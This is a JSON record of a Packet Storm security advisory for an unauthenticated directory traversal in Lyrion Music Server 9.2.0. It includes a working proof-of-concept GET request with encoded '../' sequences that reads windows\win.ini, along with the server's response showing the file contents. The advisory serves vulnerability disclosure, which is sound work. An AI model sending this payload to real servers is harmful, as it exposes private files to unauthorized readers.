📄 Lyrion Music Server 9.2.0 Path Traversal / File Read_PACKETSTORM:222811

{
    "lastseen": "2026-06-05T18:14:49",
    "description": "Lyrion Music Server version 9.2.0 suffers from a directory traversal vulnerability. Exploiting this issue will allow an unauthenticated attacker to view arbitrary files within the context of the web server...",
    "published": "2026-06-05T00:00:00",
    "modified": "2026-06-05T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 Lyrion Music Server 9.2.0 Path Traversal / File Read",
    "source": "",
    "references": "",
    "id": "PACKETSTORM:222811",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [
        "CVE-2026-50234"
    ],
    "sourceData": "Lyrion Music Server 9.2.0 Path Traversal File Read\n    \n    \n    Vendor: LMS Community\n    Product web page: https://www.lyrion.org\n    Affected version 9.2.0\n    \n    Summary: Lyrion Music Server (formerly Logitech Media Server, and\n    often abbreviated as \"LMS\" ) is open-source software which can control\n    and serve (stream) music to a wide range of physical and virtual audio\n    players called Squeezeboxes. Lyrion Music Server can stream your local\n    music collection, internet radio stations, and content from many streaming\n    services (with and without subscriptions).\n    \n    Desc: The server suffers from a directory traversal vulnerability. Exploiting\n    this issue will allow an unauthenticated attacker to view arbitrary files\n    within the context of the web server.\n    \n    Tested on: Windows 10 (64-bit) - EN\n               Lyrion Music Server (9.2.0 - 1779973211)\n               Perl/5.32.1\n               SQLite\n    \n    \n    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic\n                                @zeroscience\n    \n    \n    Advisory ID: ZSL-2026-5992\n    Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5992\n    CVE ID: CVE-2026-50234\n    CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50234\n    \n    \n    27.05.2026\n    \n    --\n    \n    \n    GET /html/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\\win.ini HTTP/1.1\n    Host: localhost:9000\n    \n    HTTP/1.1 200 OK\n    Server: Lyrion Music Server (9.2.0 - 1779973211)\n    Cache-Control: max-age=604800\n    Connection: close\n    Date: Fri, 29 May 2026 21:25:22 GMT\n    Content-Length: 134\n    Content-Type: text/html; charset=utf-8\n    Expires: Fri, 05 Jun 2026 21:25:22 GMT\n    Set-Cookie: Squeezebox-albumView=; path=/\n    Set-Cookie: Squeezebox-expandPlayerControl=; path=/\n    Set-Cookie: Squeezebox-expanded-MY_MUSIC=; path=/\n    Set-Cookie: Squeezebox-expanded-FAVORITES=; path=/\n    Set-Cookie: Squeezebox-expanded-PLUGINS=; path=/\n    Set-Cookie: Squeezebox-expanded-PLUGIN_MY_APPS_MODULE_NAME=; path=/\n    Set-Cookie: Squeezebox-expanded-RADIO=; path=/\n    X-Time-To-Serve: 0.0615050792694092\n    \n    ; for 16-bit app support\n    [fonts]\n    [extensions]\n    [mci extensions]\n    [files]\n    [Mail]\n    MAPI=1\n    [WN3000]\n    MachName=Mach0001\n    MachId=0001",
    "sourceHref": "https://packetstorm.news/download/222811",
    "cvss": {
        "score": 8.7,
        "severity": "HIGH",
        "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/SC:N/VI:N/SI:N/VA:N/SA:N",
        "version": "4.0"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
            "attackVector": "",
            "attackComplexity": "",
            "privilegesRequired": "",
            "userInteraction": "",
            "scope": "",
            "confidentialityImpact": "",
            "integrityImpact": "",
            "availabilityImpact": ""
        }
    },
    "href": "https://packetstorm.news/files/id/222811/",
    "category_name": "Exploit",
    "post_link": "",
    "product": "",
    "version": "",
    "vendor": "",
    "ai_description": "",
    "ai_severity": "",
    "ai_vendor": "",
    "ai_product": "",
    "ai_version": "",
    "ai_score": 0
}